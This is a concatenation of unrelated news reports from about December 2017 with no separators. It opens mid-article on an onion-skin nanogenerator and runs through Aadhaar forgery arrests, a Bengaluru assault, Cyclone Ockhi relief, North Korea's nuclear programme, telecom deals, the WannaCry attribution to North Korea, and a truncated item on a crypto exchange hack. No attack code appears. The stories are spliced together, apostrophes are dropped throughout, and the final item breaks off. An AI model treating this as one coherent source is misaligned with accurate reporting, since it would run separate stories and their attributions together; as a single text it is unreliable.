Researchers estimate that the device could be manufactured easily at a cost of less than a rupee, with existing technologies. This would make the system accessible to people the economically weaker sections of the society.

To build the device, the researchers coated an onion skin with a thin layer of gold and added copper wires with silver paste. It was then encapsulated in polymers.

The nanogenerator is capable of harvesting several types of mechanical energies, including body movements, wind flow and even machine vibrations.

The device developed by researchers has an output of 18 volts and can turn on 30 green LEDs under repeated human finger touch response, according to the study published in the journal NanoEnergy.

The device could withstand repeated cycles of pressing and releasing for up to five months. The voltage generated remained almost unchanged even after long cycles, indicating good mechanical stability of the device for bio-medical applications, researchers said.

"We also studied the durability of the device under sewing machine vibration for 10,000 cycles. From the result it can easily be said that the device had enough mechanical durability and chemical stability for realistic applications," Khatua said.

The researchers, including Sumanta Kumar Karan and Sandip Maiti from IIT, are optimistic about commercialising the technology soon, although more research is required before it can be realised in practical applications.
The accused wanted to get jobs in IT companies in and around Whitefield by getting Aadhaar cards and they had succeeded in getting into these companies. (Representational image)

BENGALURU: Seven people, including six Bangladeshis, were arrested by the Bellandur police on charges of securing Aadhaar cards by producing forged documents. An agent who helped the accused get Aadhaar cards too has been arrested, while the police have booked the doctor who attested their documents.

The accused wanted to get jobs in IT companies in and around Whitefield by getting Aadhaar cards and they had succeeded in getting into these companies.

The police have arrested the accused based on a complaint filed by officials of the Unique Identification Authority of India (UIDAI), Bengaluru.

The arrested are Rubiulla (23), Riyad Khan (25), Mohammed Khokon (20), Ohidulla (29), Mohammed Kalam (34) and Zakir Hussain (28) who hailed from Murel Ganj Thana in Bangladesh. They had entered India illegally and were living in the city for the last few years. The accused confessed to the police that they had crossed rivers to enter the country, and had reached Bengaluru via Kolkata.

An agent, Syed Saifulla, a resident of N.S. Palya in BTM Layout, who helped them get Aadhaar cards for Rs 500 each, was arrested by the police. Based on the information provided by Saifulla, the police also booked Dr H.C. Lokesh, working at a primary health centre in Bommasandra, for attesting the fake documents of the accused.

The police said the accused were living in Iblur and Marathahalli labour colony in huts and were doing odd jobs for a few months. As the earnings were insufficient, they started looking for alternatives. It was then that they met Saifulla, who helped them get Aadhaar cards which they used to get into IT companies. They were working as housekeeping staff at these companies.

Saifulla got Dr Lokesh to sign the proof of residence as he is a gazetted officer.

Saifulla confessed to the police that he forged the documents and got the Aadhaar cards done for over 50 people.
Chief Master Sgt. John Ware IV, a 24-year active duty U.S. Air Force veteran and Lincoln native, was promoted to the rank of Chief Master Sergeant (E-9).

Chief master sergeant is the highest enlisted rank in the U.S. Air Force, and by law only 1 percent of the enlisted force may hold this rank. Ware is serving as the Operations Coordinator at U.S. Embassy Ouagadougou, Burkina Faso in West Africa.

He and his wife, Gemma Ware, have a son, John Ware V, who is a senior at the University of Nebraska-Lincoln. Ware's father, retired Chief Master Sgt. John Ware III of Lincoln, was the Nebraska Air National Guard 155th ARW's first-ever Command Chief Master Sergeant, and his late grandfather, Lt. Col. John Ware Jr., was laid to rest with military honors in Lincoln.
'Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused,' Mufti posted on Twitter on Tuesday. (Photo: File/Representational)

Bengaluru: Two Kashmiri brothers in Bengaluru were allegedly assaulted by a group of men for not speaking in Kannada.

According to media reports, a 24-year-old hotel-management student from Kashmir and his elder brother were reportedly beaten up and their vehicle damaged by a group of men near a bus stop in north Bengaluru's Sanjay Nagar locality on the night of December 11.

"Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused," Mufti posted on Twitter on Tuesday.

Two persons have been arrested based on the CCTV footage installed near the bus stop.
Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru, Jammu and Kashmir Chief Minister Mehbooba Mufti said. (Photo: PTI)

Srinagar/Bengaluru: Jammu and Kashmir Chief Minister Mehbooba Mufti on Tuesday said she was disturbed to learn that two brothers from Kashmir Valley were assaulted in Bengaluru for not speaking in Kannada. She demanded strict action against those involved in the incident.

Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused, she wrote on Twitter.

A group of at least 10 men allegedly beat up a 24-year-old hotel management student and his brother from Kashmir, and damaged their car as they could not speak Kannada.

Based on the footage from a CCTV installed near the site of the incident, Bengaluru police have arrested two men and have launched a manhunt for others.

The brothers were allegedly targeted while they were returning home in their car after having dinner at Bhoopasandra around midnight on Monday. They had stopped their car near a bus stand at NTI Layout in Sanjay Nagar to attend a phone call.

The brothers told the police that four men on two bikes stopped near their car and asked them something in Kannada. They told the men that they were from North India and could not understand anything. The bikers then allegedly told the brothers that they would be allowed to leave the site only if they spoke in Kannada.

The men called some others to the spot and they together allegedly pelted stones at the brothers and their car. The alleged assaulters fled the spot when the duo called the police control room to report the crime.
Chennai: Over 100 owners of small plots of lands situated in Vilankurichi village in Coimbatore district, whose lands were originally sought to be acquired by authorities but the proceedings were later quashed by the court, have approached the Madras high court to punish the managing director of Tamil Nadu Housing Board for willfully disobeying the order of the court, which directed it to issue no objection certificate to the land owners.

When the contempt petition filed by D. Sampath Kumar and 107 others came up for hearing, Justice M.M. Sundresh posted it after two weeks, after government advocate took notice on behalf of TNHB.

Petitioners counsel K. Parameswari submitted that the petitioners have purchased house plots in Vilankurichi village, Vinayakapuram, coming under the Ganapathy neighbourhood scheme, Coimbatore.

Most of them had already constructed houses in their respective plots after obtaining planning approval from the respective statutory bodies.

The acquisition proceedings initiated by the government in 1992 had been quashed by Madras high court on November 10, 2000, Parameswari added.

Thereafter, when the petitioners approached the special tahsildar to issue no objection certificate to show that their lands were released from acquisition, there was no response from him.

However, subsequently they came to understand that the NOC have not been issued to them on the ground that the housing board headquarters alone can issue the NOC.

After sending several representations to the housing board, the petitioners approached Madras high court, which had on March 28, 2017 directed the board to issue NOC to the petitioners within eight weeks.

However, the board failed to comply with the direction of the court. Since the act of the housing board amounts to willful disobedience of the order of court, the petitioners have filed the current contempt petition, Parameswari added.
Salem: Tamil Nadu Governor Banwarilal Purohit on Monday took his review meetings to Salem, the home district of Chief Minister Edappadi K. Palaniswami, by inspecting bus terminus and other public places to check the progress of Swachh Bharat.

Purohit, who was here to participate in a seminar organised by the Salem Periyar University, created awareness among the public about Clean India, a pet project of Prime Minister Narendra Modi, and distributed pamphlets on ways to keep places of public importance and neighbourhood clean.

His visit came even as Opposition political parties raised a hue and cry over him inspecting public places and holding review meetings with officials. These parties say Governor was exceeding his brief and interfering in the functioning of an elected government.

Visiting Thindamangalam village, Purohit inaugurated a photo exhibition on Swachh Bharat programmee and flagged off a rally aimed at creating awareness on the ill effects of open defecation. He also interacted with the beneficiaries of construction of toilet scheme of the Union Government.

The Governor has been reviewing progress of Swachh Bharat scheme in districts that he visits for participating in programmees. Though he reviewed progress of other projects in Coimbatore, Tirunelveli and Cuddalore, he refrained from holding a proper review meeting in Salem.

Later, he also visited the Salem bus terminus where he interacted with passengers and distributed pamphlets on the Swachh Bharat scheme and ways to keep the environment clean. He also made a few passengers read the dos and donts printed on the pamphlets aloud for the benefit of other passengers as they were in Tamil.

Purohit had on Saturday reiterated that he would continue to interact with the common people and officials during his visits to various districts in the coming months.

The Raj Bhavan, in its release, rubbished the allegation that the governor was interfering at the behest of the Centre (in administration). This is a bald allegation unsupported by any facts. This allegation deserves to be ignored, the Raj Bhawan statement had said on Saturday.
Visakhapatnam: As millets gain popularity as healthy foods and become a natural choice for the health-conscious people, VIKASA with the financial help of NABARD, has opened a millets processing hub at Sagaram area under V Madugula mandal in Vizag on Monday. DHAN foundation has provided a Dehuller to VIKASA to be set up in this complex. All machines required for grading, destoning and dehulling are established in this complex to process 4 to 5 quintals of millets a day.

This unit is expected to support the millet marketing needs of 3500 tribal farmers. Besides, VIKASA plans to encourage millet production in the plains (Chodavaram, Madugula and Ravikamatam) in the dryland areas by encouraging farmers to adopt productivity enhancement techniques. These techniques include GULI method of cultivation, bring in better varieties in millet crops like finger millet, foxtail millet, biofortified sorghum and bajra crops.
Kanyakumari: Prime Minister Narendra Modi, who on Tuesday flew to Lakshadweep, Kerala and Tamil Nadus Kanyakumari district that were battered by Cyclone Ockhi, assured to step up the rescue operation to trace the missing fishermen. He said efforts are on to bring home those stranded in foreign countries through the External Affairs Ministry. The PM did not specify the number of persons stranded in foreign countries. However, he turned emotional when saying, India stands shoulder to shoulder with all those affected by Cyclone Ockhi.

Tamil Nadu is seeking a central relief package of Rs 9,302 crore for rehabilitation efforts in the state from monsoon fury. Presenting a memorandum to M. Modi, Chief Minister Palaniswami said Tamil Nadu wanted the Centre to declare Ockhi as a national disaster on account of the severity of the cyclone.

The CM said his government sought Rs 5,255 crore assistance towards implementing permanent rehabilitation measures in Kanyakumari and another Rs 4,047 crore to cater to other parts of the State, including Chennai, that were affected by the Northeast monsoon. Permanent measures would be taken to prevent recurrence of damage due to floods in Chennai and other coastal districts, Mr Palaniswami said.

I am here to assure you that India stands shoulder to shoulder with all those affected by #CycloneOckhi. We will leave no stone unturned in the rescue and relief operations: PM @narendramodi to those affected by #CycloneOckhi, he tweeted after visiting the cyclone ravaged places. From Lakshadweep where he was received by youngsters before his meeting with officials, he flew to Kerala and from there air-dashed to the Land's End - Kanyakumari. At 3 pm, the PM who arrived by a helicopter from Thiruvananthapuram was received by Governor Banwarilal Purohit and Chief Minister Edappadi K. Palaniswami and others.

According to officials, the cyclone claimed 18 lives in Tamil Nadu while several others are still missing. Cyclone Ockhi struck the southern coasts on November 30.

In a series of tweets, the PMO said, Some of our people are stranded in foreign nations. The MEA and various embassies are working to bring them back. Some people also got stranded on parts of India's western coast. We have rescued many of them: PM @narendramodi. Another stated that the Centre is providing all possible assistance. Navy and Coast Guard are monitoring the situation: PM @narendramodi #CycloneOckhi, while yet another said, Due to #CycloneOckhi, our farmers, fishermen and villages have been affected. When the cyclone struck, Defence Minister @nsitharaman had visited affected areas and taken stock of the situation: PM @narendramodi.

PM who extensively reviewed the situation due to Ockhi, met cyclone victims, fishermen, farmers, officials and public representatives. The PM was also apprised of local fishermen's long-time demand for a special Air Force base with helipad facilities, the CM later told reporters. They also demanded an integrated fishing harbour with communication facilities and cold storage. The Prime Minister said he will consider the demands, Mr. Palaniswami informed.

Quoting the CM's memorandum to Mr. Modi, an official release said Tamil Nadu has sought an immediate release of Rs 747 crore towards rehabilitation efforts in Kanyakumari besides a hike in disaster relief assistance provided by the Central government in various areas, including towards loss of lives.
Vijayawada: The tech-savvy teams of YSRC have been adopting a novel technology to woo the public towards the party chiefs Paraja Sankalpa Yatra (PSY). One AV (Audio visual) van is continuously playing songs on Y.S. Jagan Mohan Reddy and Navaratnalu, all along the Yatras route and five video vans with LED screens are playing videos of Y.S. Rajasekhar Reddy and his welfare schemes.

The party has decided to change its technological strategies, after every 500 kms of Mr Reddys padayatra. 800-plus flexes and hoardings throughout the yatra, 1,000-plus stickers distribution every day, and 5,000-plus YSRC calendar cards distribution on daily basis is the new strategy in the Praja Sankalpa Yatra (PSY) of Mr Reddy.

Aggressive branding is playing a key role in the trickling down of the message to the public in Mr Reddys padayatara. Mr Reddys yatra is currently in Anantapur district and crossed the 500 km mark. An AV van moves in front of Mr Reddys cavalcade. The same AV van is used for public addresses in towns. Apart from public addresses, songs composed on Y.S. Jagan Mohan Reddy are being played from this van continuously throughout the yatra.

Five branded video vans are deployed along the route of the padayatra. These five video vans reach the villages a few hours before Mr Reddy arrives. The speciality of these five video vans is the LED screens on both sides of the vans. Videos of the late Y.S. Rajasekhar Reddy along with the testimonies of the people about their experiences in his tenure.
Hyderabad: Former Union minister and senior Congress leader S. Jaipal Reddy said the party would hold a meeting at Jedcherla, Mahbubnagar district, on December 20 which would begin the effort to unite all sections opposed to the TRS and the state government.

He said the TRS government had caused immense pain and agony to true Telanganites, who had been betrayed for the last four years, Mr Jaipal Reddy, in a statement issued from Delhi, said the TRS government had not fulfilled any of its promises because of which several sections of society, especially youth and unemployed.

He said there has been attempt by Chief Minister K. Chandrasekhar Rao to divide society on caste lines in the name of announcing sops. In reality there was no law and order in the state, political corruption had touched new heights and Mr Rao had himself encouraged mass defections from opposition parties, Mr Jaipal Reddy alleged.

He said without doing much to boost development or welfare, the TRS government was not addressing any genuine grievance of the people. He accused the TRS government of being anti-democratic and anti-people and said the time had come for the affected sections to fight by participating in large numbers at the Jedcherla meeting.

TPCC president N. Uttam Kumar Reddy in a statement said that the outcome of the Gujarat Assembly elections was a clear indication that the Congress was on its way back to power across the country.

He said that AICC president Rahul Gandhis next focus would be on Telangana state. The TPCC would would strengthen its organisation and network across the state to ensure that it returns to power in 2019.

Mr Jaipal Reddy said the Congress would soon formulate a strategy to win the polls, both at the Centre and in the state.
An increasingly-belligerent Pyongyang -- and volatile US rhetoric -- dominated the world agenda and looks set to do the same in 2018 as the international community struggles to contain the North's nuclear and missile ambitions. (AFP)

Seoul: North Korea's sprint towards full-fledged nuclear statehood accelerated sharply in 2017, raising fears about a devastating atomic exchange to levels not seen since the Cold War.

An increasingly-belligerent Pyongyang -- and volatile US rhetoric -- dominated the world agenda and looks set to do the same in 2018 as the international community struggles to contain the North's nuclear and missile ambitions.

Multiple sets of UN sanctions failed to stop Pyongyang from carrying out its sixth and most powerful nuclear test -- which it said was a hydrogen bomb -- in September.

North Korea has also tested increasingly longer-range intercontinental ballistic missiles (ICBMs) throughout 2017, and claims it can now strike the US mainland.

US President Donald Trump has responded to each test with his own amplified declarations, threatening to "totally destroy" Pyongyang and taunting Kim Jong-Un, saying the North Korean leader was on "a suicide mission".

But far from persuading Kim to give up his nuclear drive, analysts say Trump's tough talk may have prompted the North Korean leader to accelerate his dangerous quest.

Vipin Narang, a professor at the Massachusetts Institute of Technology, said vulnerable states respond to external threats of force by seeking their own arsenals.

"The best way is to just sprint to a point where you raise the cost of that potential action by signalling, 'I have a lot of nuclear weapons'," Narang said.

"It's impressive and scary how fast they were able to get all these pieces in place," he added.

North Korea says it needs nuclear weapons to defend itself against a hostile America and that its priority is its own survival. Critics say it seeks to reunify the peninsula -- divided by a demilitarised zone since the end of the 1950-53 Korean war -- by force.

In response to North Korea's recent strides, the United States and its allies have increased their demonstrations of military might, including more frequent flights of American bombers over the Korean peninsula.

At the same time, top Trump administration officials have repeatedly warned of military options, stoking concerns of miscalculation that could rapidly spiral into conflict.

Van Jackson, a defence expert at the Victoria University of Wellington, said the heightened tensions combined with the growing sophistication of the North's arsenal have increased the chances of an "inadvertent nuclear war" to their highest since the Cold War.

"If North Korea believes the US is going to invade or decapitate the Kim regime, it will have strong incentives to launch a nuclear first strike," Jackson said.

And in countries within reach of the North's missiles, the current confrontation has unleashed fears of a nuclear war which could kill millions of people.

Nervous Japanese have been scrambling to prepare against a potential attack, some even opting to build bomb shelters in their homes and offices.

In South Korea, calls have grown for the country to develop its own nuclear weapons, which would put its decades-old security alliance with the United States in jeopardy, amid doubts whether Washington would be willing to trade "Seoul for Seattle".

Sirens blared across the islands of Hawaii earlier this month as the US state tested its nuclear attack warning system, revived for the first time since the Cold War.

Many analysts say Washington must open talks with the North to defuse tensions -- but that remains a challenge.

The North has always said its nuclear weapons are not up for negotiation, and that it will only deal with the United States from a position of equality -- as a nuclear state.

Washington has long insisted that it will not accept a nuclear-armed North Korea and Pyongyang must take concrete steps towards disarmament before any talks, which should lead to its denuclearisation.

That stance seemed to soften in December when Secretary of State Rex Tillerson said for the first time that discussions could take place "without preconditions" -- but the White House said its policy had not changed.

The North declared this month it had reached nuclear statehood with its new Hwasong-15 ICBM, which can carry a "super heavy warhead" to the US mainland.

"I find the entire argument about 'not accepting' North Korean nuclear weapons to be strange," said Joshua Pollack, a senior research associate at the Middlebury Institute of International Studies at Monterey.

"Saying certain words, or not saying them, won't change the reality," Pollack said.

Still, sitting down with a "nuclear" North Korea would mean accepting a huge policy failure by the United States of not stopping the regime in the first place.

The longer Washington waits, the higher the diplomatic price of dealing with an already complicated problem will go, said Joel Wit, senior fellow at the US-Korea Institute at Johns Hopkins University.

Wit, who negotiated with North Korea under the Clinton and Bush administrations, said that Pyongyang used to have only "clunky rockets".

"We used to laugh at them and say yeah, this isn't serious," he said of the US.

"Now we see it is serious, and the point is, the price has gone way up and it's going to be a tough nut to crack."
The Sikh community members have lodged a complaint with the Deputy Commissioner Hangu Shahid Mehmood. In picture: External Affairs Minister Sushma Swaraj (Photo: PTI)

Peshawar: The Sikh community in Pakistan's Hangu district in northwestern province of Khyber-Pakhtunkhwa has alleged that they were being forced to convert to Islam by a government official, according to a media report.

The Sikh community members have lodged a complaint with the Deputy Commissioner Hangu Shahid Mehmood, the Express Tribune reported.

According to the Pakistan's National Database and Registration Authority, there are around 6,000 Sikhs in the country, living in Khyber-Pakhtunkhwa, Federally Administered Tribal Areas (FATA), Sindh, Balochistan, Nankana Sahib, Lahore and other districts of Punjab.

In his complaint, Farid Chand Singh said that the community members had been living in the area since 1901 and were never offended by anyone, specially over religious beliefs.

"They rather lived all their lives peacefully with Muslims, despite having been a hotbed for sectarian conflicts, residents of Hangu district never harmed us," he was quoted as saying in the report.

They were never approached by someone to convert to Islam, they have friendly relations with Muslims who have always stood up for the community when in need, Singh added.

"Had it been from someone ordinary, it would have never been felt so offending but when you hear such things from a government official, it becomes something really serious," Singh told The Express Tribune.

"We, the residents of Doaba area, are being tortured religiously," he alleged in his complaint.

The Khyber-Pakhtunkhwa province is in the northwestern region of the country along Pakistan's international border with Afghanistan. It was previously known as the North-West Frontier Province (NWFP).

Deputy Commissioner Hangu Shahid Mehmood said that the Sikh community members got offended during a conversation withthe assistant commissioner, which the latter never really meant.

There was no such issue of converting someone forcefully to Islam, rather administration ensured religious freedom, and he clarified said.

Concerned by the report, Punjab Chief Minister Amarinder Singh on Tuesday urged External Affairs Minister Sushma Swaraj to take up with Pakistani authorities the issue of alleged forced conversion of Sikhs to Islam.

"Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. It?s our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels," he tweeted.

In response, Swaraj said that the matter would be taken at the highest level in Pakistan government.

"We will take this up at the highest level with Government of Pakistan. @IndiainPakistan Sikh community in Hangu being forced to convert," she tweeted.
The meteorologist had heard the question and, on Monday, he sounds a wee bit weary of answering it.

Its still seven days out, said Bryon Miller of the National Weather Service.

We are expecting a weather system to move through...

It could bring some snow...

But the snow is probably going to be Thursday, Thursday night...

So its not going to be a very pretty snow that people want.

But a white Christmas? Even a dirty snow white Christmas?

Theres some chance of seeing enough snow to accumulate, Miller said. Chances are higher farther north.

To be a weather forecaster during a dry December is to hold the crystal ball of hope. For trees and shrubs. For wide-eyed little ones and nostalgic grownups.

Chances are looking better, said Martha Shulski, director of the Nebraska State Climate Office. Shulski put the odds of a snow-on-the-ground Christmas 2017 at 25 to 40 percent. (Historically, the odds of an inch or more on the ground in Lincoln on Dec. 25 are 33 percent.)

Forecast models show rain changing to snow in the Lincoln area overnight on Thursday with a chance of light snow Friday, Shulski said.

Ground temperatures need to keep coming down or were not going to keep any around, she cautioned. If we just get a little bit of snow and the ground temperature is warm and we get some sunlight, it will melt off.

After 50-degree days to start the week, highs in Lincoln are forecast to dip into the 30s by Friday and bottom out in the 20s next weekend.

Like Miller, Shulski cautioned against counting on snow for Santas visit. That far out it changes from day to day.

Personally, she wouldnt mind. I have little kids and I want them to enjoy it.

At the National Weather Service in Valley, Miller admitted it would be nice to usher in Christmas 2017 with snow. An inch or two. Something that didnt put people in the ditch on their way to Grandmas for the day.

Theres a chance, so people should be hopeful.

But there are other weather narratives to think about, Miller said. Ones that involve heavy coats and gloves.

The colder weather is probably more the story. Itll put a shock to a lot of people.
Philippine Telegraph & Telephone (PT&T) and state-run National Transmission Corp (TransCo) have expressed interest in partnering with China Telecom when it enters the countrys mobile market.

PLDT and Globe Telecom have long held an effective duopoly in the Philippines, and a third player has long been desired to introduce greater competition and spur an improvement in services. Each operator has a market share of around 50%.

President Rodrigo Duterte has hit out at the poor connection speeds offered by the two incumbents and has made good on a threat to invite investment from China. The government recently announced that China Telecom would become the markets third player.

TransCo owns transmission assets that connect the many of the Philippines power plants to the utilities that distribute electricity. In 2016, it requested that the countrys congress update its charter so that it could move into the telecoms industry.

Its electrical facilities would make it a potentially attractive partner for China Telecom, and the fact that it is state operated would allow it to become the majority holder in a joint venture. Public utilities in the Philippines are only permitted 40% overseas ownership.

TransCo president Melvin Matibag noted that the firms assets would dovetail well with China Telecoms technical and operating knowledge, adding that this would enable the firms to shorten the process of establishing an operator should a partnership be forthcoming. He confirmed that no talks have yet been held on the matter.

PT&T meanwhile is in active negotiations with eight firms, according to chairman Salvador Zamora. In October, the firm raised the possibility of forming a partnership with an overseas investor to regain its position in the Philippines telecoms market. The company was founded in the 1960s but has no significant foothold in the countrys mobile space.

Zamora confirmed PT&Ts stated goal of partnering with a Chinese operator, as well as affirming that the firm is aiming to agree a deal by the end of 2017. The company has announced that it intends to launch a nationwide broadband service within the next three years.
Underlining its recent affirmation of its commitment to Africa, Bharti Airtel has announced that it will acquire Millicoms Rwandan unit.

The Indian group recently shot down speculation that it was planning to exit several African markets in which it has thus far failed to turn a profit, although it did note that it would be open to consolidation with other players. Airtel entered Africa in 2010 by acquiring Zains African operations for $11B, in a move that chairman Sunil Bharti Mittal recently lamented as having been rushed.

Mittal noted that considering the challenges presented by the region, Airtels African venture had been rash, saying that the capital and effort that the company spent on Africa probably would have been better-placed today in our home market. He went as far as to describe the botched entry as one of the biggest regrets of his career, given that the pressure to bring about a reversal of fortunes had a knock-on effect across the Airtel group, and he noted that it took a lot of resources and my personal time to fix that. While the African business has not yet become profitable, it is now cash flow positive, leading Mittal to declare Airtels operations in the continent as being in a much better place today.

Along with Kenya and Tanzania, Rwanda was among the markets that Airtel was rumoured to be leaving, but its acquisition of Tigo Rwanda is a clear demonstration of its commitment to the market. With other units of Tigo potentially up for sale, another acquisition is a possibility given that Airtel is also looking to strengthen its foothold in Tanzania.

Speaking on the acquisition in Rwanda, Mittal said: Airtel has taken proactive steps in Africa to consolidate and realign the market structure in the last few remaining countries where its operations are lagging on account of lower market share and presence of too many operators. Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today it has taken yet another important step to acquire Tigo Rwanda to become a profitable and strong challenger in a two-player market.

Reiterating the groups commitment to Africa, Mittal added: We are also committed to the long term viability of our operations in two other countries, Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa. There is evidence that this will be the case, with the operators Q3 earnings showing improved margins in Africa driven by an uptick in subscriber numbers and greater adoption of its Airtel Money service.

Millicom is selling off some of its African assets as part of a group-wide refocusing towards Latin America. CEO Mauricio Ramos said: We are very grateful to the government of Rwanda for their support throughout the last eight years, which allowed us to extend digital inclusion to thousands of Rwandans. We are also very grateful to all our employees, whose drive and commitment enabled Tigo Rwanda to become a leading provider of digital services in the country.
The director general of Chinas regulator has stated that internet companies such as Facebook and Google would have to submit to the countrys notoriously stringent censorship laws if they wish to operate in the market.

Speaking at the Internet Governance Forum at the UNs European headquarters, Qi Xiaoxia said that the Bureau of International Cooperation at the Cyberspace Administration of China is frequently asked: Why Google, why Facebook are not yet working and operating in China?

The regulators reply is: if they want to come back, we welcome [them] - the condition is that they have to abide by Chinese law and regulations. That is the bottom line. We are of the idea that cyberspace is not a space that is ungoverned. We need to administer, or supervise, or manage, the internet according to law.

Facebook has been blocked in China since 2009, while Google exited the market in 2010 as a result of the countrys censorship rules. A large number of mainstream western news sources are also blocked in China, along with Twitter and Instagram  the latter of which is owned by Facebook.

China obviously appeals to the large internet firms due to the massive amount of connected users, but concerns over censorship and privacy have effectively shut them out of the country, which has resulted in home-grown competitors such as Baidu and Tencents WeChat cornering the market.

In mid-October, as the country prepared for the Communist Party congress, the government began to crack down on several internet-based services. WhatsApp access was heavily restricted in September, while in November Microsofts Skype was taken down from the Apple App Store and the Google Play store within China.
Sri Lanka Telecom (SLT Group) has signed an agreement with Fon for the delivery of Wi-Fi connectivity and roaming services to its subscribers.

The operator is the countrys national ICT solutions company and the leading broadband and backbone infrastructure services provider in the market. In addition to choosing Fontechs Carrier Wi-Fi Solution to deliver seamless Wi-Fi access locally, SLT Group has signed a roaming agreement with Fon to grant their users international access to Wi-Fi in over 21 million locations globally.

Dileepa Wijesundera, CEO of SLT Group commented, Not only will Fontechs technology complement our existing services in Sri Lanka through delivering seamless Wi-Fi outside of the home, but we are also delighted to offer our customers the convenience of being able to access millions of Fon hotspots globally.

Thanks to the flexibility of Fontechs cutting-edge, vendor-agnostic Carrier Wi-Fi Solution, SLT Group will be integrating Fontech technology into more than six router models equipped with FTTH, ADSL and LTE technologies. SLT Group will provide customers with several different access alternatives, including captive portal, WISPr seamless connectivity, and EAP. The service is currently being deployed and integrated, and will be launched in Q1 2018, targeting hundreds of thousands of CPEs.

This partnership marks an important milestone for Fon, supporting the rapid expansion of its footprint across Asia during 2017. The company has recently added almost 800,000 premium locations in Malaysia, Hong Kong, South Korea, Japan and China. Fon has signed roaming agreements with major operators such as Telekom Malaysia, Korea Telecom, and Softbank to expand its global network to almost three million hotspots in the Asia-Pacific region.

While Fon continues to specialise in the aggregation of WiFi networks, ensuring that the worlds largest community network continues to grow, Fontech is dedicated to developing the technology that operates the service, said Alex Puregger, CEO of Fon.
The US apparently has evidence for the claim, and the UK and Microsoft reached similar conclusions in their analyses of the attack, which plagued computers the world over in May

White House Homeland Security Adviser Tom Bossert has said that the US believes North Korea was behind the massive WannaCry cyberattack in May.

"After careful investigation, the US today publicly attributes the massive 'WannaCry' cyberattack to North Korea," Bossert wrote in a Wall Street Journal op-ed on Monday.

"The attack was widespread and cost billions, and North Korea is directly responsible."

The US has evidence for the claim, and the UK and Microsoft reached similar conclusions in their analyses of the attack, which plagued computers the world over in May, CNN quoted Bossert as saying.

The administration is calling on the private sector to do more to prevent such incidents, the adviser said, adding that Microsoft and others had taken action last week to disrupt North Korean hacking efforts.

CNN reported in June that UK intelligence believed a group associated with the North Korean government was behind the attack, and The Washington Post reported around the same time that the National Security Agency had reached a similar conclusion.

Bossert wrote that North Korea's "malicious behaviour" has gone on for years and is growing more egregious.

"WannaCry was indiscriminately reckless."

Pointing to threats outside of North Korea, Bossert said preventing similarly massive cyber incidents would take concentrated effort and that President Donald Trump had taken steps in the right direction, such as ordering the modernisation of government information technology to enhance the security of US computer systems and the sharing of software vulnerabilities with developers.

Bossert warned of the threat from Russian hackers and touted legal action taken against suspected hackers as well as the Trump administration's decision to ban software from the Russia-based company Kaspersky Lab in government computers.

The adviser pointed to the US government's recent charges against Chinese nationals for hacking and for identity and trade secret theft, as well as against Iranians for hacking, and he urged calling out "bad behaviour" by other countries, including what he called the "corrupt regime" of Tehran.

The global "WannaCry" cyberattack targeted computers running the Microsoft Windows operating system by encrypting data and demanding ransom payments in the Bitcoin cryptocurrency.

The attack took place on May 12 and infected over 230,000 computers in more than 150 countries.
To be eligible for the cashback, Itel A20 customers will have to recharge their Vodafone connection with a minimum amount of Rs 150 per month for 18 months to receive an initial cashback of Rs 900. They will receive another cashback of Rs 1,200 after rech

Vodafone has teamed up with Itel to launch a low-cost 4G smartphone, the Itel A20. The device costs Rs 3,690, however, Vodafone is offering a cashback of Rs 2,100 on it, which brings down its effective price to Rs 1,590.

In order to receive the cashback, users will have to buy the smartphone at a price of 3,690. On recharging their Vodafone connection with a minimum amount of Rs 150 per month for 18 months, customers will receive a cashback of Rs 900. Additionally, cashback of Rs 1,200 will be refunded if users continue to recharge with Rs 150 for another 18 months. The recharges can be done cumulatively or as a one-time recharge. Buyers will receive the cashback in their Vodafone M-Pesa wallets and the offer is valid until March 31, 2018.

In terms of specifications, the Itel A20 is powered by a quad-core processor and 1GB of RAM coupled with 8GB of internal storage. It supports 4G VoLTE and ViLTE (Video over LTE) and runs on Android 7.0 Nougat. The device is backed by a 1500 mAh Lithium-ion battery.

Avneesh Khosla, Associate Director of Consumer Business, Vodafone India said, Millions of consumers in India are upgrading to smartphones to enjoy the benefits of mobile internet. We are delighted to partner with Itel to hand hold customers as they transition from feature phone to smartphone and provide a rich experience with Vodafone SuperNet 4G. We firmly believe, that affordable handsets along with pocket friendly data prices, will accelerate data adoption. The exciting cashback offers will make this digital journey a more affordable and enriching one for our customers.

Vodafone had previously partnered with Micromax to offer cashback on smartphones like the Bharat 2 Plus, Bharat 2 Ultra, Bharat 3, Bharat 4, Bharat 5, and the Canvas 1.
Aeronautical giants Bombardier and Boeing went to toe-to-toe on Monday as the two traded blows in front of the US International Trade Commission (ITC) in the most recent round of their feud amid claims by both that the other has benefited from massive subsidies.

Boeing alleged that Bombardier had hindered the sales of its 737 aircraft and implored the ITC to uphold October's 300% import tariff imposed on its rival due to the Canadian firm receiving subsidies at home that allowed it to sell its own C-Series aircraft below cost, but Bombardier shot back alleging that Boeing was already making money "hand over fist" from the 737 series planes.

The ITC was commissioned to decide whether or not the tariffs should be made permanent, a decision that would effectively block sales of the C-Series jet in the US.

Bombardier representative Peter Lichtenbaum told the ITC, "Boeing is making money hand over fist. And with a backlog of 737 orders years into the future, there are no signs of difficulty on the horizon."

However, Boeing claimed it had already been "established beyond question that Bombardier has taken billions of dollars in illegal government subsidies to prop up its C-Series programme. The C-Series would not even exist at this point but for those subsidies."

David MacNaughton, the Canadian ambassador to the US, warned the ITC that if it backed Boeing in the dispute it ran the risk of violating World Trade Organisation rules.

"Boeing's assertion that future imports from Canada threaten to cause material injury is necessarily based on just the type of speculation and conjecture that is prohibited under both US and international law," he said.

The dispute was being closely followed by Downing Street as Bombardier, and its C-Series programme, employs several thousand people in Northern Ireland whose jobs could be at risk as a result of the ITC's decision.
The South Korean exchange Youbit has been hacked for a second time this year, resulting in the loss of 17% of its total assets, leading to the announcement of a halt in trading in order to staunch losses.

